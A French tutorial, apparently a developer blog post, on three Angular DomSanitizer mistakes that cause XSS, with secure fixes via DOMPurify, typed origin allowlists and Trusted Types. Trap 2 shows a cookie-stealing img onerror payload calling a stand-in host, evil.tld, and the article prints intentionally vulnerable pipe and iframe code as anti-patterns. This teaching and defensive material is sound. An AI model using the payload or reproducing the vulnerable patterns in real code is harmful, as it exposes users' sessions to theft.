~10 min de lecture
3 pièges avec DomSanitizer qui ouvrent la porte à une XSS dans ton app Angular
Tu affiches un fragment HTML dans ton composant. Un extrait d'article, un aperçu de commentaire, une bulle d'aide générée depuis du markdown. Tu écris [innerHTML]="content()" et tu passes à la suite.
Le rendu est cassé. Tes classes Tailwind ont disparu, ton <code> a perdu son style inline, ton <iframe> YouTube n'est jamais monté. Tu ouvres Stack Overflow, la réponse tombe : DomSanitizer.bypassSecurityTrustHtml(). Trois lignes, un pipe, ça marche. Tu commites.
Ce que tu ne sais pas encore : tu viens d'ajouter une XSS (injection JavaScript qui s'exécute chez chaque visiteur, dans l'origine de ton app, avec accès à ses cookies et à sa session) à ton app. Aucun test unitaire ne la voit, aucun linter ne la signale, et le mot bypass dans le nom de la méthode a été le seul avertissement.
Voici les trois pièges qui reviennent le plus souvent en revue de code, avec le pattern qui les remplace tous.
Le code cible Angular 20+, mais l'API
DomSanitizern'a pas bougé depuis Angular 2. Ce qui a bougé, c'est la couche Trusted Types (voir plus bas), stabilisée dans Chrome depuis 2020 et supportée par Angular depuis la v11.
TL;DR
| Piège | Symptôme | Correctif |
|---|---|---|
[innerHTML] sans comprendre ce qu'il fait |
<style>, attributs on*, <iframe>, id, data-* retirés, avec un avertissement console facile à manquer |
Assumer le stripping, poser <style>/<iframe> à côté du binding, pas dedans |
bypassSecurityTrustHtml(userInput) |
XSS complète, invisible en revue de code | DOMPurify avant le bypass, ou markdown vers HTML côté serveur avec un moteur qui échappe le HTML par défaut |
bypassSecurityTrustResourceUrl(url) avec un morceau d'URL qui touche l'origine |
Iframe pointée vers un domaine attaquant, exfiltration possible | Allowlist stricte des origines, jamais de concaténation dans l'origine |
La règle d'or : bypassSecurityTrust*() n'est jamais safe sur une valeur utilisateur brute. Cette valeur doit d'abord passer par un sanitizer d'allowlist explicite avant que tu ne signes le bypass.
Piège 1 : [innerHTML] retire bien plus que tu ne le crois, et tu accuses Angular à tort
Ce piège n'ouvre pas de XSS à lui seul. C'est le piège de diagnostic qui te pousse vers les deux suivants : ton HTML est massacré, Angular loggue bien un avertissement en console (WARNING: sanitizing HTML stripped some content), mais il se noie dans le bruit ou passe inaperçu. Tu déduis "Angular m'embête", et tu cherches une méthode qui "désactive" le nettoyage.
Le binding [innerHTML] d'Angular n'est pas un raccourci pour element.innerHTML = value. C'est un raccourci pour element.innerHTML = domSanitizer.sanitize(SecurityContext.HTML, value). Angular passe ton HTML dans un sanitizer avant de le poser dans le DOM, et cette liste blanche est plus stricte qu'elle n'en a l'air : en plus des balises <script>, des attributs on* (onclick, onerror), des URLs javascript: et, par précaution, de <style> (contenu compris) et <iframe>, elle retire aussi les attributs id, style et data-*, ainsi que des balises entières comme <svg>, <button> ou <form>.
❌ Le diagnostic à l'envers
import { Component, signal, ChangeDetectionStrategy } from '@angular/core';
@Component({
selector: 'app-preview',
template: `<div [innerHTML]="html()"></div>`,
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class Preview {
protected readonly html = signal(`
<style>.hl { background: yellow }</style>
<p>Voici un mot <span class="hl">important</span>.</p>
<iframe src="https://youtube.com/embed/xyz"></iframe>
`);
}
Rendu réel : <p>Voici un mot <span class="hl">important</span>.</p>. Le <style> a disparu, l'<iframe> aussi. La classe hl est bien là dans le DOM, mais elle n'est stylée nulle part. La console logue bien un avertissement, mais si tu ne l'as pas vu, tu peux passer un moment à chercher un bug de Tailwind qui n'existe pas.
✅ Assumer ce que le sanitizer fait, et ne pas lui donner à manger
Deux réflexes simples :
Le contenu vient de tes sources ? (fichier markdown de blog, chaîne i18n, constante en dur) Alors
[innerHTML]est probablement OK, mais vérifie qu'il n'utilise pas unidd'ancre ou une icône<svg>inline - ceux-là sont aussi retirés. Assume que<style>et<iframe>seront retirés, et pose ces éléments dans le template Angular à côté du binding, pas dedans.Le contenu vient d'un utilisateur ? (commentaire, description libre, WYSIWYG) Alors
[innerHTML]ne suffit pas si tu veux garder certaines balises ou certains attributs que le sanitizer d'Angular retire par défaut (le style inline d'un rich-text, par exemple). C'est là qu'on t'a vendubypassSecurityTrustHtml. C'est là qu'il faut résister.
Pour observer ce qui est retiré, injecte DomSanitizer dans un composant (ou tout autre contexte d'injection - inject() plante hors constructeur ou champ de classe) et lis le résultat à la main :
import { Component, inject, SecurityContext } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
@Component({ /* ... */ })
export class Debug {
private readonly sanitizer = inject(DomSanitizer);
logStripped(dangerous: string): void {
console.log(this.sanitizer.sanitize(SecurityContext.HTML, dangerous));
}
}
Tu vois exactement ce qu'Angular va poser dans le DOM. Utile en tests, utile en revue de code.
Piège 2 : bypassSecurityTrustHtml(userInput), la ligne qui te fait passer d'une preview cassée à une XSS complète
Voici le pattern qu'on trouve dans à peu près tous les snippets de blog qui expliquent comment afficher du HTML utilisateur. Il est mauvais.
❌ Le pipe magique qui ouvre la porte
import { Pipe, PipeTransform, inject } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Pipe({ name: 'safeHtml' })
export class TrustHtml implements PipeTransform {
private readonly sanitizer = inject(DomSanitizer);
transform(value: string): SafeHtml {
return this.sanitizer.bypassSecurityTrustHtml(value);
}
}
Utilisation : <div [innerHTML]="userComment | safeHtml"></div>.
Ce pipe retourne un SafeHtml qui dit à Angular : "cette valeur est déjà safe, ne la sanitize pas". Angular respecte le contrat et colle le HTML brut dans le DOM.
Si userComment contient <img src=x onerror="fetch('https://evil.tld/steal?c=' + document.cookie)">, ce bout de code s'exécute chez chaque visiteur qui affiche ce commentaire. Ses cookies non-HttpOnly et son token en localStorage partent, et le script peut faire des requêtes authentifiées en son nom. Aucune console error, aucune alerte navigateur, rien.
Le nom bypassSecurityTrust* signale exactement ce qu'il fait : il contourne la sécurité (littéralement, bypass) en partant du principe que tu as validé la valeur toi-même. Sur une valeur qui vient d'un utilisateur, tu n'as rien validé.
✅ DOMPurify avant le bypass, allowlist explicite
Quand tu as vraiment besoin de rendre du HTML utilisateur enrichi (le style inline d'un éditeur rich-text, une image légitime, des liens externes), le pattern est en deux temps :
import { Pipe, PipeTransform, inject } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
import DOMPurify from 'dompurify';
const RICH_TEXT_ALLOWLIST = {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a', 'img', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'rel', 'target'],
ALLOWED_URI_REGEXP: /^(?:https?:|mailto:|#|\/(?!\/))/i,
ADD_URI_SAFE_ATTR: ['target', 'rel'],
};
@Pipe({ name: 'richText' })
export class RichText implements PipeTransform {
private readonly sanitizer = inject(DomSanitizer);
transform(value: string): SafeHtml {
const cleaned = DOMPurify.sanitize(value, RICH_TEXT_ALLOWLIST);
return this.sanitizer.bypassSecurityTrustHtml(cleaned);
}
}
Deux différences majeures avec le pipe naïf :
- DOMPurify est un vrai sanitizer, entretenu par des chercheurs en sécurité, testé contre des payloads XSS complexes. Le sanitizer d'Angular est bon aussi, mais il n'accepte pas de configuration d'allowlist : c'est tout ou rien, et il retire trop pour un rich-text.
- L'allowlist est explicite dans le code. Si demain un dev de l'équipe veut autoriser
<iframe>, il ajoute la balise àALLOWED_TAGSet la revue peut s'en saisir. AvecbypassSecurityTrustHtmlseul, il n'y a rien à questionner : la porte est déjà ouverte.
Deux détails qui coûtent cher si tu les oublies :
- Sur un
target="_blank", garderel="noopener noreferrer"explicite - et ajoutetarget/relàADD_URI_SAFE_ATTRdans ta config DOMPurify comme ci-dessus, sinonALLOWED_URI_REGEXPles traite comme des URLs et les fait disparaître silencieusement. Les navigateurs récents forcent déjànoopenerimplicitement depuis 2019-2021 selon le navigateur, maisnoreferrerdésactive en plus l'en-têteReferer. - DOMPurify a besoin d'un DOM côté serveur. Sur Node, passe-lui une instance jsdom initialisée une seule fois :
DOMPurify(new JSDOM('').window as unknown as Window)(le cast est nécessaire, le typage de jsdom n'est pas directement compatible). Sinon, fais la sanitization à la publication (côté API) et stocke le HTML déjà nettoyé.
Alternative plus sûre : ne stocke jamais le HTML utilisateur. Stocke du markdown, convertis via markdown-it (qui échappe le HTML brut par défaut, html: false) plutôt que marked seul (qui le laisse passer tel quel par défaut - il faudrait lui greffer un sanitizer), et passe le résultat dans [innerHTML] sans bypass. Angular sanitize par-dessus.
Piège 3 : bypassSecurityTrustResourceUrl(url) sur une URL dont l'origine est contrôlée par l'utilisateur
Ce piège est plus rare, mais plus difficile à voir. Il apparaît dès qu'un morceau d'URL d'iframe touche à l'origine (protocole, hostname, port) : sélecteur de provider, hostname en config, URL complète stockée en base. Concaténer un simple identifiant derrière une base entièrement en dur reste globalement inoffensif, parce que le path est normalisé par le navigateur et que les query params ne changent pas l'origine. Le vrai risque arrive quand un morceau du hostname devient contrôlable.
❌ Le provider utilisateur qui devient une origine attaquante
import { Component, input, inject, computed, ChangeDetectionStrategy } from '@angular/core';
import { DomSanitizer, SafeResourceUrl } from '@angular/platform-browser';
@Component({
selector: 'app-video-embed',
template: `<iframe [src]="safeUrl()" allowfullscreen></iframe>`,
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class VideoEmbed {
readonly provider = input.required<string>(); // 'youtube', 'vimeo', ou n'importe quoi
readonly embedId = input.required<string>();
private readonly sanitizer = inject(DomSanitizer);
protected readonly safeUrl = computed<SafeResourceUrl>(() =>
this.sanitizer.bypassSecurityTrustResourceUrl(
`https://${this.provider()}.com/embed/${this.embedId()}`,
),
);
}
Deux input() typés, un computed(), un bypassSecurityTrustResourceUrl. Le compilateur est content.
Le problème : provider() est concaténé dans le hostname. Si un attaquant peut passer provider = "evil" (via route param, deep link, ou champ mal validé), l'URL devient https://evil.com/embed/xyz. L'iframe charge un domaine que l'attaquant a enregistré, affiché dans le contexte visuel de ton app. Ajoute une lib qui fait des postMessage sans vérifier l'origine, ou laisse l'attribut sandbox mal configuré, et tu as un vecteur d'exfiltration.
✅ Allowlist stricte des origines, jamais de concaténation dans l'origine
import { Component, input, inject, computed, ChangeDetectionStrategy } from '@angular/core';
import { DomSanitizer, SafeResourceUrl } from '@angular/platform-browser';
const PROVIDERS = {
youtube: { base: 'https://www.youtube.com/embed/', idPattern: /^[A-Za-z0-9_-]{11}$/ },
vimeo: { base: 'https://player.vimeo.com/video/', idPattern: /^\d+$/ },
} as const;
@Component({
selector: 'app-video-embed',
template: `
@if (safeUrl(); as url) {
<iframe [src]="url" allowfullscreen></iframe>
} @else {
<p>Vidéo indisponible.</p>
}
`,
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class VideoEmbed {
readonly provider = input.required<keyof typeof PROVIDERS>();
readonly embedId = input.required<string>();
private readonly sanitizer = inject(DomSanitizer);
protected readonly safeUrl = computed<SafeResourceUrl | null>(() => {
const config = PROVIDERS[this.provider()];
if (!config?.idPattern.test(this.embedId())) return null;
return this.sanitizer.bypassSecurityTrustResourceUrl(config.base + this.embedId());
});
}
Deux garanties structurelles : provider typé keyof typeof PROVIDERS refuse à la compilation toute valeur non allowlistée, et les origines en dur dans la map ne peuvent pas être injectées par input.
La règle : entre la valeur qui vient du monde extérieur (utilisateur, URL, API) et l'appel à bypassSecurityTrust*, il faut une validation qui ne peut pas être contournée. Dès qu'un morceau de ta valeur touche l'origine, cette origine doit venir d'un ensemble fini connu à l'avance.
Le filet de sécurité : Trusted Types et Content Security Policy (CSP)
Depuis Angular 11, Angular pose automatiquement une policy Trusted Types nommée angular. Trusted Types (Chrome et Edge depuis 2020, Firefox depuis février 2026, Safari depuis la 26.0) refuse, au niveau du moteur JavaScript, toute écriture directe dans innerHTML, outerHTML ou iframe.srcdoc sans passer par une policy déclarée.
Note importante : ça ne couvre pas iframe.src, qui n'est pas un sink Trusted Types côté navigateur (seul srcdoc, qui porte du HTML, l'est). Le piège 3 de cet article n'est donc pas rattrapé par ce filet - la validation de l'origine reste entièrement à ta charge.
La mise en application se fait via un en-tête HTTP Content-Security-Policy :
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types angular angular#unsafe-bypass;
Ce que ça change :
- Toute écriture dans
innerHTMLqui ne transite pas par une policy Trusted Types déclarée (dans une app Angular,angularouangular#unsafe-bypass) est bloquée par le navigateur avant même d'atteindre le DOM. - Tes appels à
bypassSecurityTrust*continuent de fonctionner : ils passent par la policyangular#unsafe-bypass, que cette CSP autorise explicitement - donc aucun rapport de violation n'est généré pour eux. La CSP ne te donne pas un audit trail des bypass, juste la garantie que rien d'autre ne peut écrire dans le DOM sans policy déclarée. - Une lib tierce qui fait
element.innerHTML = ...sans passer par Angular crashe visiblement. Tu la détectes, tu la remplaces ou tu la wrappes, au lieu de la découvrir en post-mortem.
C'est un filet, pas une solution miracle. Il n'empêche pas un bypassSecurityTrustHtml(userInput) déjà en place de faire son travail de porte ouverte, puisque la policy angular#unsafe-bypass est justement là pour le laisser passer. Mais il force toute écriture DOM hors de ce chemin à planter bruyamment, ce qui limite drastiquement la surface d'attaque.
Récap actionnable
La matrice de décision à garder en tête la prochaine fois que tu tapes bypassSecurityTrust* :
| Situation | Réflexe |
|---|---|
| Contenu 100 % issu de tes sources (constante, fichier md commité, i18n) | [innerHTML] direct, sans pipe, on assume le stripping |
| Contenu utilisateur en markdown | Convertir en HTML avec markdown-it (pas marked seul, qui laisse passer le HTML brut), puis [innerHTML] sans bypass |
| Contenu utilisateur en HTML rich-text | DOMPurify avec allowlist explicite (attributs target/rel inclus dans ADD_URI_SAFE_ATTR), bypassSecurityTrustHtml derrière |
| URL d'iframe avec ID variable, base et provider en dur | Regex de forme sur l'ID + URL de base codée en dur + bypassSecurityTrustResourceUrl |
| URL d'iframe dont l'origine dépend d'une valeur utilisateur | Allowlist typée de providers, la valeur utilisateur choisit une clé, jamais un morceau d'origine |
Trois choses à retenir :
[innerHTML]sanitize. Ce n'est pas un bug, c'est l'API. Assume ce qu'il retire, ne fuis pas dans un bypass sans savoir ce que tu perds.bypassSecurityTrust*n'est pas un raccourci de rendu, c'est un contrat. Il dit "je garantis que cette valeur est safe". Sur une valeur utilisateur, tu ne peux pas signer ce contrat sans un sanitizer d'allowlist explicite en amont.- Active Trusted Types en CSP. Ça ne remplace pas la discipline, mais ça verrouille tout le reste : toute écriture DOM qui ne passe pas par une policy déclarée plante bruyamment, à l'exception de tes propres bypass assumés.
Le vrai réflexe à installer, c'est de traiter bypassSecurityTrust* comme une signature de responsabilité, pas comme un utilitaire de rendu. Chaque appel devrait pouvoir être défendu en revue de code par une phrase de la forme "cette valeur a été validée par X". Si tu ne peux pas prononcer cette phrase, c'est une porte, pas un pipe.